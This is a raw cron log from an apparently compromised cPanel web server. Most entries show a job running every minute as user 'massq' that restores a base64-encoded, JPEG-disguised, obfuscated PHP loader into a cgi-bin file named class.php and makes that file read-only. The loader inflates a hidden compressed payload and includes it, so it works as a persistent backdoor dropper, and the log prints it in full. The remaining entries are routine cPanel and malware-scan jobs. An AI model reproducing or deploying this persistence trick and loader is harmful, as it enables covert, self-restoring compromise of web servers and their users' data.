Nov 11 18:19:01 server CROND[10636]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:20:01 server CROND[11502]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 18:20:01 server CROND[11504]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 18:20:01 server CROND[11507]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 18:20:01 server CROND[11505]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 18:20:01 server CROND[11506]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:21:01 server CROND[12368]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:22:01 server CROND[13233]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:23:01 server CROND[13856]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:24:01 server CROND[14474]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:25:01 server CROND[15384]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 18:25:01 server CROND[15385]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 11 18:25:01 server CROND[15387]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:25:01 server CROND[15389]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 18:26:01 server CROND[16256]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:27:01 server CROND[17089]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:27:01 server CROND[17090]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 18:28:01 server CROND[17839]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:29:01 server CROND[18706]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:30:01 server CROND[19620]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 18:30:01 server CROND[19623]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 18:30:01 server CROND[19624]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 18:30:01 server CROND[19622]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:31:01 server CROND[20509]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
